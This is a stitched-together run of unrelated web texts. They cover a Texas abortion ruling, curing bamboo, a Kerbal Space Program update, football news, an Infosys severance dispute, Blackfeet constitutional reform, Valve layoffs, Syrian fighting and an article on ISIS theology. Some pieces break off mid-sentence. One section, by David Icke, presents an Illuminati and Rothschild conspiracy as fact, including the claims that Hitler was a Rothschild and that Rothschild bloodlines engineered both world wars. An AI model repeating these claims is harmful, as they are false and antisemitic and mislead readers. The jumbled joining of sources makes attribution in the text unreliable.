"I am beyond elated," Amy Hagstrom Miller, founder and CEO of Whole Woman’s Health, which operates four abortion clinics in Texas and spearheaded the challenge to the law.
"After years of fighting heartless, anti-abortion Texas politicians who would seemingly stop at nothing to push abortion out of reach, I want everyone to understand: you don't mess with Texas, you don't mess with Whole Woman's Health," she added.
If the Supreme Court had left the law in place, only eight clinics would have remained open, including the Planned Parenthood facility in Austin, a U.S. lower court judge said.
The state's Republican leaders, including the governor and attorney general, criticized the ruling that they said would endanger public health.
"Now abortion clinics are free to ignore these basic safety standards and continue practicing under substandard conditions," Republican Lieutenant Governor Dan Patrick said. "By its ruling, the court held that the ability of abortion clinics to remain open – even under substandard conditions – outweighs the state's ability to put women's health and safety first."
The legislature meets again next year, and top lawmakers indicated they may look at new abortion restrictions.
The "admitting privileges" provision, requiring doctors who perform abortions to have formal affiliation with a hospital within 30 miles (48 kms) of their clinic, had gone into effect. The facilities standards had been put on hold by courts.Bamboo Thoughts and Curing
by Jason Hawk
Bamboo has been used for such a wide variety of tasks by indigenous peoples around the world. Even in modern society, it is said that over one third of the world uses bamboo in some form.
In the country of Japan, bamboo is so engrained in the culture that the terminology for bamboo has expanded into conversation. Bamboo is not just a plant but a unspoken symbol of a Nation. To the Shinto Priests of old, the hollow space in bamboo is where all the Spirits of nature live.
Before Bamboo can be used for any lasting craft it must be cut and cured. Cutting is best in August or Winter, when the water and resins are down. Summer time will work as well for harvesting, but with a higher chance of cracks or splitting. Any cutting device will work for harvesting bamboo. A folding saw or a hefty knife are my favorites. If cutting with a knife, cut at a 45 degree angle with one swipe to prevent splitting or crushing the bamboo. At this point I would like to remind you to stop, take a minute, think about what it is you want to make. Look for the right piece, listen to the breeze though the grove. Find a area that removing a piece will be of benefit to the stand. And finally show respect and reverence, for it is not only a exceptional natural material, but the spirit of a people.
The pieces are cut, the project is in mind and you are on your way. Now What?? The work begins. Seasoning bamboo is something of an enigma to most people. Personally, I have been working with bamboo and various methods of curing it for years, and still, I learn something new each harvest season. The key is to remove the moisture, natural starches and sugars without cracking the bamboo. This may be done with various success rates in the following manner, depending on your geographical area (I.E. temperature and relative humidity). The following are a few methods I have played with over the years.
1. SOAKING: A method commonly used in India is to soak bamboo for ninety days in water. Then set to dry in a sunny area for two weeks. I have tried this technique, but only with limited success, due to the extreme heat during Arizona summers. I have yet to try the same method during the winter season.
2. AIR DRYING: Cut the bamboo leaving the branches and leafs still attached. Store the bamboo upright in the sun for two weeks. Then continue drying in a cool dry place out of direct sunlight, cross your fingers and hope for the best. Depending on the area, watch for molding.
3. ABURANUKI: The Japanese method of drying used by the Shaku hachi or flute makers of Japan.
The oils are removed from green bamboo by heating over a charcoal fire at aproximately 120 degrees C. Thereby, driving the resin to the surface which is then wiped off. The bamboo will change color to a lighter green or a yellowish tint. This method is tried and true. I have had very few pieces crack when using this technique, and no insect or mold problems. The bamboo is then set aside to dry for two more weeks.
I would like to note that most Take Shokunin or Bamboo Craftsmen will set aside their bamboo for two to three years to cure out before using. My personal drying time is much faster. The reason.... well, simply put, "I live in a desert, not on a humid island."
What to do now? Say we have a perfectly seasoned piece of bamboo and we are to set off on the adventure of creating your bamboo masterpiece. There are a few things you need to know about working bamboo.
1. Make a pre-cut with a sharp blade before any sawing. This will prevent fibers from splintering during the cutting process.
2. If you need to make holes in your project, you are much better off burning the holes through. The bamboo seems less likely to split during the drilling or later.
Now that you have completed your bamboo masterpiece, what now? You will need to use some kind of finish for your project. The traditional heat and grease works well. Just lightly heat the piece over coals just until it's warm, then liberally apply oil, grease or fat to the piece. At no point should the bamboo become too hot to hold bare handed.
Other methods include the use of modern sealers. Now, to stay primitive there is one excellent sealer I would use: natural shellac. You say, "What, shellac is primitive?" Well yes, used from the times of ancient Egypt. Shellac is nontoxic, food safe, water proof and will last for years. I currently use purchased shellac flakes dissolved in alcohol. If there is anyone out there that has more information on the primitive manufacturing or use of shellac, please send me the info.
E-mail your comments to "Jason Hawk" at choshippo@yahoo.comKSP Weekly: A Titan’s flyby and making history!
Welcome to KSP Weekly, everyone. Today, NASA’s Cassini spacecraft will make its last flight near Saturn’s moon, Titan, which is the mission’s last opportunity to closely observe the lakes and seas of liquid hydrocarbons which extend throughout the northern polar region of the satellite and the final opportunity to use its powerful radar to pass through the mist and take detailed images of the lunar surface. According to NASA, the closest approach to Titan is scheduled for 11:08 pm PDT, today. During its flyby, Cassini will pass 979 kilometers (608 miles) from Titan’s surface at a speed of 21,000 kilometers per hour. This overflight also means the beginning to Cassini’s Grand Finale, a final set of 22 orbits between the planet and its rings, ending with a dive into Saturn on September 15th that will end the mission. But we’re here to talk about everything Kerbal and this week was full of advancements, so let’s switch to the topic you came here to read about.
Localization work continues and the relentless bughunt is bearing its fruits. The work is currently more structure related while the volunteers are in their element making suggestions on grammar and layout to refine the text. We’re working with them to ease some of their burdens by doing some language testing and improving in-game debug tools. The first pass of translation for the prerelease is almost complete now, so the teams are looking in the game to make sure the translations actually fit the context. The number of accidental English words that we are encountering in the non-English versions of the game drops by a huge fraction every week! We now have the time and the experience to look at improving the processes involved with localization.
There are other things being done for the final release of 1.3. We’ve localized and prepared Asteroid Day for integration to the release and will be getting the test team onto a balance pass for its contracts soon. Devs also spent some time localizing and fixing some bugs in the Part Upgrade functionality such as applying upgrade node costs correctly. Part Upgrades will now show all stats updates in the SPH/VAB and TechTree. We’ve also focused on polishing the final details for the Russian and Spanish contracts, as well as making sure that the kerbal Names in Japanese look like actual names. Similarly, we worked on fixing some textures that needed some corrections in every language.
Blitworks continues at a very rapid pace with the console builds and our testers are throwing everything at them with rigorous testing. There are important improvements in the control schemes, UI, and general gameplay that are all in focus while we test the achievement progress system on each platform. Save integrity continues to be at the forefront of our minds, and thankfully there’s nothing to report on this matter.
Let’s move on to Making History advancements, where we have not only been very busy on an Architecture/Design level, we’ve also been working on several tasks for the upcoming expansion. Defining base behaviour and structure of the UI and connecting it with the core code. So you could say that there’s been lots of code reviews and reviewing design as we continue our agile delivery. In addition, we continue to work on the ExpansionSystem, fleshing out the bundle pipeline, the developers interaction with it and how that feeds through the magical Jenkins system. This coupled with some work on testing how to get the game to work nicely with the same code base whether or not the expansion is installed. Something that is easy to say but not so easy to do. Luckily for us, we have a very talented development team that is working through all of these tough challenges.
The artists on the other hand continue modeling IVAs and this week they also finished up our new Vostok-inspired model, as well as wrapping up a few last details on the model for our first American-inspired engine. This Vostok-inspired model includes a blend of existing as well as new parts. And since folks will ask - those are separate 0.38m monopropellant tanks you see attached at the base of our Vostok 1 replica!
In conjunction with the new parts, the QA team embrace the task of testing them. This work brings currently known issues that had been deferred into focus. Without getting into too much detail, some of the existing bugs that have already been reported but were unable to be fixed efficiently, are now being thoroughly researched because of the potential impact on the expansion. This of course brings benefits to KSP as a whole.
Finally, we encourage you to participate in our latest KSP Challenge - Have you found a green monolith yet? Share your encounters with these rare easter eggs with the whole community!
That’s it for this week. Be sure to join us on our official forums, and don’t forget to follow us on Twitter and Facebook. Stay tuned for more exciting and upcoming news and development updates!
Happy launchings!Lucas Perez's move from Arsenal to Deportivo La Coruna is edging closer before the end of the transfer window.
Arsenal began the summer demanding £13m for the striker they signed from the Spanish club last summer in a £17.1m deal.
But the Gunners are now set to accept a loan move with a modest fee.
Spanish striker Lucas Perez is poised to leave Arsenal after just one season in England
The 28-year-old, seen in training above, is close to rejoining Deportivo La Coruna on loan
Perez started only four matches after Christmas last season and did not start a game after the FA Cup win at Sutton in February.
Arsenal had wanted a transfer fee beyond £10m but are increasingly resigned to accepting a loan deal.
There has been interest from Valencia and Marseille but Perez is steadfast in his determination to return to Deportivo.
The Spanish club want to do a loan deal with a fee of around £4m with a view to a future transfer.
Perez only scored one Premier League goal for Arsenal but got a Champions League hat-trickDive into the soil of a land corrupted by darkness. Restore life, fight evil, save the day, and return to PopoloCrois!
It’s Prince Pietro's 13th birthday, and all the people of PopoloCrois have come out to celebrate! But among them is a very special guest: Marmela, a representative from an otherworldly kingdom called Galariland. Her country has been ravaged by shadowy creatures who corrupt the soil, preventing crops from growing -- and since this same phenomenon has been occurring in PopoloCrois as well, the king now seeks her counsel.
Her expert opinion? Prince Pietro should visit Galariland personally as an ambassador for PopoloCrois, to see the damage first-hand and learn all the ways the Galari people are fighting back. But once he's there, he finds there's no way home, and his princely name holds little sway over the long-suffering people of this new world.
It is up to you, as Prince Pietro, to make a life for yourself in Galariland while seeking a way home, doing everything you can in the meantime to cultivate the earth and new friendships alike.
A fantastical fairytale adventure awaits!Bengaluru: Infosys Ltd’s board did not record the proceedings of a 12 October 2015 meeting where it discussed paying Rs17.38 crore in severance pay to former chief financial officer Rajiv Bansal, said an executive familiar with the development.
The omission again raises doubts on decision-making by the board of India’s second largest services firm, which has just emerged from a tussle with founders led by N.R. Narayana Murthy over corporate governance issues, including the payment to Bansal and a 55% increase in CEO Vishal Sikka’s pay to $11 million a year in 2016.
Infosys’s board only put this payment on record or “minuted" the discussion when it met on 14 January 2016, when the company announced its fiscal third-quarter earnings, the executive cited above said on condition of anonymity.
Infosys row: Where it stands, from Vishal Sikka’s salary to Bansal’s severance pay
This could possibly be one reason which peeved Murthy, who questioned the unexplained and generous payment and publicly lashed out at the board. In published remarks, Murthy even questioned whether severance payments were being made as “hush money" to suppress “some information harmful to the company". On Monday, non-executive chairman R. Seshasayee denied the allegation, which he said was “disturbing".
“All decisions taken by the board must be documented at the appropriate time. If indeed true, it is surprising for a company like Infosys to not have maintained comprehensive and complete minutes," said Hetal Dalal, chief operating officer, Institutional Investor Advisory Services, a proxy advisory firm. “While we believe the amount of severance pay is not material in the context of Infosys’s size, the transaction—and the disclosures around it—could have been handled significantly better."
Significantly, Sikka gave his nod to the separation agreement, which was subsequently approved by the board after it was justified by Infosys’s chief compliance officer David Kennedy, according to two executives, including one board member and the person cited in the first instance. The board member also requested anonymity.
Infosys chairman: No negotiations, but founder inputs will be considered
Kennedy convinced the board’s nomination and remuneration panel that the management had negotiated “well" to bring down the severance to two years’ salary as against the compensation for three years demanded by Bansal, who was represented by his law firm AZB Partners, according to the board member cited above.
An email sent to AZB Partners seeking comment went unanswered.
An email sent to Murthy seeking comment was also unanswered.
Surprisingly, Infosys believes that the question of putting on record Bansal’s severance payment is a “housekeeping" issue and not a cause for concern.
“The board had a call, we discussed and we approved (Bansal’s severance). The fact that some housekeeping issues, recording took place at a later date, to my mind should not cause any concern of anxiety to someone outside the company," said Seshasayee.
“These are things which to my mind happen to many companies. Look we need to tighten the processes of recording... but these are internal issues which we will attend (to), and we have done subsequently," he added.
ALSO READ | Look beyond Tata and Infosys
Calls and text messages to Bansal seeking comment went unanswered.
“Vishal and Rajiv were not comfortable working together," said the board member. “So Vishal wanted Bansal to leave. The management negotiated his severance and it was Vishal who actually signed off on the agreement. Later the agreement was brought before us by David Kennedy."
Sikka, in an interaction with the media on Monday, explained Bansal’s departure as an outcome of “team chemistry issues". Mint could not independently ascertain the reasons for the purported differences between Sikka and Bansal.
“(We were told) management had negotiated well to lower it to two years of salary, and Kennedy also justified (it) by saying paying severance money is well within acceptable standards," said the board member cited above.
Kennedy was sacked by Infosys in December last year, and proxy advisory firms again questioned the rationale of the company offering him $868,250 (around Rs5.8 crore) in severance.
Infosys then said that Kennedy and the company mutually agreed to part ways but clarified that severance pay was part of Kennedy’s employment agreement when he joined in November 2014.
An email sent to Kennedy seeking comment went unanswered.
Mint first wrote about Infosys making a severance payment to Bansal in May last year, when the company disclosed it paid Rs23.08 crore in severance pay, salary and other benefits to Bansal in a footnote to its annual report, which then made a few equity analysts and proxy advisory firms question corporate governance at the company.
In June, at Infosys’s annual general meeting, Seshasayee disclosed that Rs17.38 crore in severance pay was to be paid over 10 instalments, of which two instalments had already been paid by then. Infosys for now has paid Rs5.2 crore in severance to Bansal, Seshasayee said on Monday.I mean, we have been promised a lot of things these past five years that didn’t turn out to be the case: death panels, doom. (Laughter.) A serious alternative from Republicans in Congress. (Laughter.)
But we also know beyond a shred of a doubt that the policy has worked. Coverage is up. Cost growth is at a historic low. Deficits have been slashed. Lives have been saved. So if anybody wants to join us in the spirit of the people who have put aside differences to come here today and help make the law work even better, come on board. On the other hand, for folks who are basing their entire political agenda on repealing the law, you've got to explain how kicking millions of families off their insurance is somehow going to make us more free. Or why forcing millions of families to pay thousands of dollars more will somehow make us more secure. Or why we should go back to the days when women paid more for coverage than men. Or a preexisting condition locked so many of us out of insurance.
President Obama marked the 5th anniversary of Obamacare being signed into law in a White House event in which he touted the accomplishments of the law, and poked a lot of fun at Republicans who've done nothing but try to repeal it, including this zinger:He continued, still needling well-deserving Republicans.Those are explanations you're not going to be getting from Ted Cruz or any other Republican.Upon looking at the photo above, you may ask yourself, first if this is real (yes) and second, “In what universe did the fellow who plays Hodor from Game of Thrones make it into the cockpit of the Millennium Falcon?” Well, that would be this universe, specifically the one that held the Geek Media Expo last weekend in Nashville, Tenn.
The Falcon cockpit was actually constructed by Greg Dietrich and my good friend, Chris Lee, who is perhaps best described as a genius on par with Tony Stark and a less broody Bruce Wayne. In his spare time, he likes to build things like robots, Stormtrooper armor, and other wonderful gadgets. But the Falcon cockpit itself is part of a larger project called the Full-Scale Falcon in which Lee and a legion of other Star Wars geeks plan to build a life-size model of the Millennium Falcon on a plot of land on the outskirts of Nashville.
It’s actually much bigger than just building the Falcon, too. Lee has previously told me that he’d like the site where the Falcon is built to become a sort of “NASA Space Camp” for kids that want to learn how to build hardware from scratch. But those plans are all in the far future while he and other geeks focus on finishing the replica of Star Wars’ most famous ship.
As for the photo, Lee brought portions of the Falcon cockpit to the GMX event last weekend to show off some of the progress. Hodor actor (and DJ) Kristian Nairn was in attendance and didn’t pass up a photo-op inside the cockpit.
I’ve asked Lee to show me the whole Falcon replica when I visit for the holidays. Hopefully, that means I’ll soon have more info on that Star Wars hardware camp for kids as well as a new slide show of photos.
But for now here’s a gallery of photos from the Full-Scale Falcon webpage.
Also, HODOR!A belief in superstition and the ability to control luck is widespread, a phenomenon I explore in a Personal Journal article. A quarter of respondents to a Gallup Poll in 2005 said they believe in astrology, and only 55% firmly replied they don’t believe “that the position of the stars and planets can affect people’s lives.” A quarter of respondents also said they were very or somewhat superstitious the last time Gallup asked that question, in 1996. American lotteries racked up $60.6 billion in sales in 2008, according to the North American Association of State and Provincial Lotteries.
Mathematicians, as a rule, aren’t a superstitious lot, nor are they prone to mathematically irrational behavior such as trying to beat the house in betting. The American Mathematical Society hasn’t held a conference in Las Vegas since 1972, in part because of the discontent some mathematicians expressed then about the ambience of gambling. “We really do know the odds and they mean something to us, so we don’t play,” said Keith Devlin, executive director of the H-STAR Institute at Stanford University. Devlin thinks that others’ belief in lucky numbers, what he calls “an irrational attachment of significances to numbers,” is “a proxy for our justified sense that numbers are really important to us.”Buy Photo Joe McKay speaks during the Blackfeet Business Council induction ceremony. (Photo: TRIBUNE FILE PHOTO)Buy Photo
For two years, between the spring of 2012 and summer of 2014, the Blackfeet people suffered through one of the most chaotic and divisive periods of self-governance the tribe had experienced since its constitution was enacted in 1935.
Personal attacks, repeated allegations of criminal misconduct, manipulation of constitutional authority, a refusal to negotiate — all contributed to a prolonged breakdown in the Blackfeet government that only ended with the installation of new tribal leadership in July 2014.
During that troubled time, various shifting political factions voted to suspend or expel 10 different council members, and 13 different people claimed legitimate membership within the nine-member Blackfeet Tribal Business Council.
There were repeated street protests, some verging upon riots, and confusion over which political faction could claim lawful authority prompted the Native American Bank to suspend authorization for the issuance of tribal checks. Tribal employees went unpaid, and the delivery of goods and services was delayed.
Those chaotic times have now passed, however, many Blackfeet leaders both inside and outside the current administration argue broad constitutional reform must take place to ensure the type of governmental meltdown that occurred between 2012 and 2014 not be repeated.
“What we saw in 2012 was that the law became whoever had the most votes, that they could interpret the Constitution any damn way they wanted to,” said Joe McKay, Blackfeet tribal councilmember and a driving force behind a new effort to rewrite the Blackfeet Constitution. “That’s why we had people being expelled on votes of three and four council members. The law became whatever the hell I want it to be if I have enough votes to get it done. The only thing that ended that chaos was the election.”
During a two-day symposium held in Browning on Jan. 11 and 12, a broad assortment of tribal business leaders, educators, land and resource managers, government officials and community representatives met to discuss constitutional reform on the Blackfeet Indian Reservation.
“The symposium was an effort to educate the tribal membership about the process for change and the issues to be aware of going forward,” McKay said.
Guest presenters included the co-director of the Harvard (University) Project on American Indian Economic Development, a former deputy assistant secretary of Indian affairs who is also an enrolled member of the Crow Tribe, and a University of Minnesota professor actively involved in constitutional reform for the White Earth (Ojibwe) Nation.
The plans for constitutional reform on the Blackfeet Reservation are both urgent and ambitious. McKay said there is a limited window of opportunity for sweeping constitutional change, and that nothing less than a complete redrafting of the Blackfeet Constitution is required.
“This is a rewrite of the entire governmental structure,” he added. “The goal of this group is, by the end of this calendar year, to have a document that the Blackfeet people can vote on.”
Flaws in the Blackfeet Constitution were recognized almost from its inception. Promulgated following Congressional passage of the Indian Reorganization Act in 1934, the Blackfeet were one of approximately 160 U.S. tribes that were handed ready-made constitutions drafted by representatives of the federal government.
Though intended to re-establish the sovereignty of American Indian tribes, these IRA constitutions cemented an imposed system of self-government alien to the traditional institutions the tribes had operated under for centuries.
“Indian tribes like the Blackfeet had their own unwritten forms of social democratic governments by which we regulated our own conduct – long before your folks ever got here,” McKay said. “Rather than look beyond the councils and see what tribes historically did, they looked and they saw tribal councils.”
McKay said the tribal council form of government was imposed as a mechanism of control. It concentrated authority within a small group of appointed tribal leaders compliant to the manipulations of federal Indian agents.
These IRA constitutions vested nearly all authority within the tribal councils, with no legislative branch of government or provisions for independent judiciaries.
In much of Indian country today, tribal councils draft all the laws, control tribal assets, write public policy, can hire or dismiss tribal employees, and oversee the administration all the government offices – right down to a tribal court system where judges can be fired at will by a majority vote of the council.
“It (the Blackfeet Constitution) doesn’t work, not just because of its legal provisions,” McKay said. “It doesn’t work because all the power of the tribe is vested in the tribal council. There’s no separation of powers, no checks and balances, and no ultimate accountability.”
Less than a decade after its passage, social activists within the Blackfeet Tribe began to advocate for constitutional reform. Those efforts have been largely unsuccessful.
“We’ve amended our constitution 11 times since 1935,” McKay said. “Most of those amendments had to do with the number on the tribal council and how we elect them. One had to do with membership – that was in 1962 – and one adopted the Plan of Operations. That was the only one that even looked at the power of the council and all it did was give them more power to administrate things.”
McKay views the enactment of a “clear separation of powers” and the establishment of “an independent tribal court system with clear and fair rules” as fundamental to improving the quality of life for the Blackfeet people.
“The best thing that we can do for our people in terms of creating jobs and hope is to create an environment where people will want to come and do business with us,” McKay said. “We want to send a message, not only to our own people, but to outsiders and non-Indians as well that they will be treated fairly in Blackfeet country.”
Two big obstacles have repeatedly stood in the way of meaningful constitutional reform in Browning: the self-interest of sitting tribal councils to preserve their authority and the contentious issue of tribal membership.
A freshman tribal councilman, McKay sits in the odd position of leading an effort to reduce the powers of his own office. To reconcile that apparent contradiction, he emphasizes that the movement for constitutional reform is not driven from within the Blackfeet Tribal Business Council, but is led by a core group of about 20 community volunteers loosely organized as the Committee for Constitutional Change.
“I have said this from the very beginning, we are not going to go to the council and get a resolution sanctioning us,” McKay said. “For the simple reason that if the council gets mad and decides to rescind their resolution, the theory would be that they could kill the effort. That’s what happened to the last effort in 2010. We’re not going to do that. The tribal council supports it, but it is not an effort that the tribal council itself created.”
A major stumbling block for many of the prior reform efforts has been the contentious issue of tribal membership.
Since 1962, the Blackfeet Constitution has defined those eligible for tribal membership as “all children having one-fourth degree of Blackfeet Indian blood or more born after the adoption of this amendment to any blood member of the Blackfeet Tribe.”
In the intervening 53 years, debate over who is entitled to the benefits and privileges of tribal enrollment have frequently overshadowed |
five leagues this season (20).
Including penalty shootouts, Chelsea have won 10 fixtures at the new Wembley Stadium, second only to Manchester United (11).
Meanwhile, Tottenham have suffered seven defeats at the ground (including shootouts), more than any other side.
Harry Kane has scored 21 goals in his last 24 London derby matches in all competitions for Spurs.
Dele Alli has 20 goals in all competitions this season, double his tally from last season.
What's next?
Both teams turn their attention back to the Premier League title race in midweek.
Chelsea host Southampton at Stamford Bridge on Tuesday (19:45 BST), while Tottenham visit Crystal Palace on Wednesday (20:00 BST).by David Icke
from GlobalConspiracies Website
One of the first parts of the Illuminati network that new researchers discover is the group of organizations which connect into the British-based secret society called The Round Table.
These include the Bilderberg Group, the Royal Institute of International Affairs, the Council on Foreign Relations, the Trilateral Commission, and the Club of Rome.
See illustration:
This network is not the most powerful expression of the Illuminati. There are many more elite groups within it's web, but these "Round Table" organizations are a key part of its day to day manipulation of politics, banking, business, the military (especially NATO), "education", and so on.
You can read about all this in great detail in my books, And The Truth Shall Set You Free and The Biggest Secret. But briefly, the network was created to advance through the 20th century and beyond the Illuminati agenda for the centralized control of Planet Earth.
The Round Table was created in London (the Illuminati's operational centre) in the latter years of the 19th century. Its first official "leader" was Cecil Rhodes, the man who mercilessly manipulated Southern Africa and took those lands from the black peoples. Although, in theory, black people are back in political control of Africa, the real decisions are still made by the European and American elites via their black puppet presidents and leaders. "Independence" is an illusion.
Rhodes played tribe against tribe until they destroyed each other in war, so allowing Rhodes and the British to take over. The same is happening today in the continuing wars in Africa, details of which you will find on this site. Rhodes said the goal of the Round Table was to create World Government controlled by Britain (the Illuminati based in Britain).
When he died in 1902, he left money in his will to fund "Rhodes Scholarships" in which overseas students had their expenses paid to study at Oxford University - the centre of the Illuminati's manipulation of "education". The ratio of these "Rhodes Scholars" who go back to their countries to enter positions of political, economic, and media power is enormous compared with the general student population.
They act as Illuminati agents. The most famous Rhodes Scholar in the world today is Bill Clinton, the two-times President of the United States. But while Rhodes was the official front man for the Round Table, the real controllers and funders were, and are, the House of Rothschild, the banking dynasty which is at the heart of so much of the global conspiracy.
This is not an anti-Jewish remark because the Rothschilds claim to be Jewish. The Rothschilds have manipulated Jewish people more than any other!! See Was a Hitler a Rothschild.
The inner elite of this Round Table in the US and UK were the key members of their government's war administrations before and during the First World War... As is provable with documentation, they worked together to engineer the circumstances that led to that global conflict. Through their technique of create-the-problem-then-offer-the-solution, they wanted to destroy the global status quo with that war and therefore have the opportunity to re-draw the world in their agenda's image when the conflict was over. This is precisely what they did.
Power in the world was in far fewer hands after the war than before, and this was advanced even further when they engineered the Second World War also. This has continued to this day and, indeed, is getting quicker all the time.
In 1919, came the Versailles Peace Conference near Paris when the elite of the Round Table from Britain and the United States, people like Alfred Milner, Edward Mandel House, and Bernard Baruch, were appointed to represent their countries at the meetings which decided how the world would be changed as a result of the war these same people had created.
They decided to impose impossible reparations payments on Germany, so ensuring the collapse of the post-war Weimar Republic amid unbelievable economic collapse and thus create the very circumstances that brought Hitler (a Rothschild, see related article ) to power.
It was while in Paris that these Illuminati, Round Table, members met at the Hotel Majestic to begin the process of creating the Bilderberg-CFR-RIIA-Trilateral Commission network. They also decided at Versailles that they now all supported the creation of a Jewish homeland in Palestine. As I show in my books, EVERY ONE of them was either a Rothschild bloodline or was controlled by them.
Who do you think was making the decisions here??
As a result of their secret meetings at the Hotel Majestic, The Royal Institute of International Affairs was founded in London in 1920, the Council on Foreign Relations followed in 1921, and then came the Bilderberg Group (1954), the Club of Rome (1968) and the Trilateral Commission (1973).
These are dominated by the Rothschilds and Rockefellers, and major manipulators like Henry Kissinger, who, in turn, answer to higher powers in the Illuminati.
These organizations have among their number the top people in global politics, business, banking, military, media, "education" and so forth. These are the channels through which the same global policies are coordinated outside of public knowledge through apparently unconnected countries, political parties, and institutions.Share. "No, we aren't canceling any projects." "No, we aren't canceling any projects."
Update: Valve co-founder Gabe Newell has commented on the layoffs, issuing the following statement to Engadget:
"We don't usually talk about personnel matters for a number of reasons. There seems to be an unusual amount of speculation about some recent changes here, so I thought I'd take the unusual step of addressing them. No, we aren't canceling any projects. No, we aren't changing any priorities or projects we've been discussing. No, this isn't about Steam or Linux or hardware or [insert game name here]. We're not going to discuss why anyone in particular is or isn't working here."
Exit Theatre Mode
A number of employees have been laid off at Valve. News first broke via the Twitter account of engineer Jeri Ellsworth, who wrote “yup. Got fired today. Time for new exciting projects.”
According to a report from Gamasutra, Ellsworth is one of several employees let go today as part of a “great cleansing” and “large decisions” within the company, and the layoffs were based on changes in the company rather than performance issues.
As many as 25 may have been affected, but the exact number remains uncertain. The layoffs are said to have hit multiple departments including hardware and Android development.
(Update: In addition to the layoffs reported above, Develop reports that Valve director of business Jason Holtman has departed the company.)
We’ve reached out to Valve for confirmation and clarification about the layoffs and will update this story with any comment we receive. IGN wishes the best of luck to anyone affected.
Andrew Goldfarb is IGN’s news editor. Keep up with pictures of the latest food he’s been eating by following @garfep on Twitter or garfep on IGN.Image copyright AFP Image caption The capture of al-Rai secures a supply line for the rebels from Turkey
Syrian rebels have seized control of the strategically important northern town of al-Rai from so-called Islamic State (IS).
The fall of the town is a boost for the rebels as they battle to capture the divided city of Aleppo.
Al-Rai's capture after several days of heavy fighting secures an important supply line from Turkey for the rebels.
Separately, at least 200 people are missing after an IS attack on a factory near Damascus, the government says.
Workers were reportedly taken from a dormitory where they were staying on the outskirts of the town of Dumeir, about 40km (25 miles) east of the capital.
Image copyright AFP Image caption Aleppo remains divided between opposition and loyalist-controlled sectors, with some parts of the city changing hands on a daily basis
Activists from the UK-based Syrian Observatory for Human Rights say about 140 workers managed to escape.
Initially there was confusion over who attacked the factory, with some sources suggesting the abductions were carried out by a rebel group called Jaysh Tahrir al-Sham.
A factory administrator said no-one had been able to contact the workers since the assault on Monday.
The area around Dumeir has seen fierce fighting between government forces and IS militants in recent days.
'Launching pad'
The BBC's Lina Sinjab in Lebanon says that al-Rai is a crucial stronghold for IS as it sits on a crossing linking Turkey to Syria.
The Observatory said that an alliance of "rebel factions and Islamists" had captured the town.
Control of al-Rai allows opposition fighters to lay siege to positions held by IS to the north of Aleppo and cut the group's supply lines, a commander of the opposition al-Mutasim Brigade was quoted as telling local media.
Al-Rai can now be be used by opposition groups as a launching pad for future operations against IS in the east and south, the commander, Mohamed Hassan Khalil, added.
He said that the main dangers faced by the opposition groups fighting IS were improvised mines, booby-trapped vehicles and suicide bombers.
Earlier this week IS jihadists said they had launched several attacks around north-east Damascus, including Tishrin power station and Dumeir military airport.
A Syrian military source told Reuters there had been attacks but all of the militants who took part in them had been killed.
It comes almost two weeks after Syrian government and allied forces recaptured the ancient city of Palmyra from IS fighters.
This was also seen as a significant loss to the militant group, which had held the city since last May.Two years removed from their Christmas escapade with Jacob, Hailey and Isaiah decide to investigate the Christmas magic that seemed to start with the power of their grandfather’s Christmas tree. They set out to find where the magic could have begun. After narrowing down the possibilities, they decide to go to the Walmart warehouse, the last place the tree would have been before being sent to the local store where it was purchased. When they get there, strange things begin to happen. Just before they enter, Hailey and Isaiah are met by a fully clothed Santa who invites them into what appears to be Santa’s workshop, then not. They leave with a magical drone that has adopted Isaiah as its owner. From there, things get even stranger, and soon all the cousins find themselves within the drone, and are taken on a magical ride back to the town beneath their grandfather’s Christmas tree—the place where it all began.Screencapture from video released by ISIS
In September, Nihad Awad, the executive director of the Council on American-Islamic Relations (CAIR), held a press conference in Washington and, flanked by other Muslim figures, announced that 120 Muslim scholars had produced an 18-page open letter, written in Arabic, to ISIS leader Abu Bakr al-Baghdadi.
An English translation of the document is a tough slog. As Awad said at the time, “This letter is not meant for a liberal audience.” He even admitted that mainstream Muslims might find it difficult to read.
The letter is an extended exegesis, heavily salted with quotes from the Koran and the Hadith, arguing point by point about the nature of jihad, the slaughtering of innocents, the taking of slaves, and other not-so-savory elements of the distant past — and in the past they should remain, the text argues. It makes the case not only that ISIS was wrong to commit horrific acts of violence in modern times, but that it was interpreting Islamic law incorrectly to justify such acts.
ISIS not only doesn’t represent Muslims. It isn’t, in fact, Islamic at all, the document argues.
Just two weeks before, President Obama had kicked up a controversy by saying the same thing — that al-Baghdadi’s forces wreaking havoc in Iraq and Syria were “not Islamic.”
Yesterday, however, The Atlantic uncorked a 10,000-word cover story by Graeme Wood, titled “What ISIS Really Wants.”
After talking to an ISIS recruiter in Australia, an expert on ISIS theology at Princeton, and sitting down with three Islamic figures in London who yearn to join ISIS in Syria, Wood came to the conclusion that the apocalyptic vision of ISIS is, actually, deeply rooted in Islam.
“The reality is that the Islamic State is Islamic. Very Islamic,” Wood writes. “Yes, it has attracted psychopaths and adventure seekers, drawn largely from the disaffected populations of the Middle East and Europe. But the religion preached by its most ardent followers derives from coherent and even learned interpretations of Islam.”
Some of Wood’s observations about what he calls the ISIS “hermit kingdom” include:
Its coming signals “the imminent end of the world.”
It has no truck with the modern world, and instead sincerely wants to bring a Medieval “caliphate” upon a particular territory.
Standards of its Sunni Muslim convention are so strict, groups that follow other Muslim traditions, such as Shiites, are “marked for death.”
ISIS predicts an apocalypse that will be signaled, in part, by a portentous battle in northern Syria against the army of “Rome” near the town of Dabiq, which ISIS controls.
Following that battle, the caliphate will take Istanbul, but then an anti-Messiah, Dajjal, will come from eastern Iran and kill all but 5,000 of the caliphate’s fighters, cornering them in Jerusalem. Then Jesus will make his prophesied return, kill Dajjal, and then “lead the Muslims to victory.”
Because ISIS is so focused on these goals in a particular territory, it may actually pose less of a threat to Americans than al-Qaeda, which remains focused on targets in the West, Wood says.
He adds that understanding ISIS theology is key to preventing Western leaders from making things worse with what he says have been some blunders caused by ignorance. For now, he says, airstrikes and alliances with third parties are probably the best we can do. If we send troops for ground battles it will only help ISIS recruit more fighters as it appears to fulfill its prophecies.
And most of all, Wood asserts, it’s crucial to understand ISIS through its Islamic underpinnings. Otherwise we just won’t understand its motives.
I was curious, however, what Nihad Awad might make of Wood’s article, since he had gone to so much trouble last year to argue the exact opposite.
Awad helped found CAIR in 1994, and he’s been its only national executive director. He stood with President George W. Bush after the 9/11 attacks, expressing the outrage by America’s Muslims at the attacks. And this week the press has been busy reporting his denunciations of the Chapel Hill murders of three young Muslims. He is, in the U.S., the face and voice of moderate Islam.
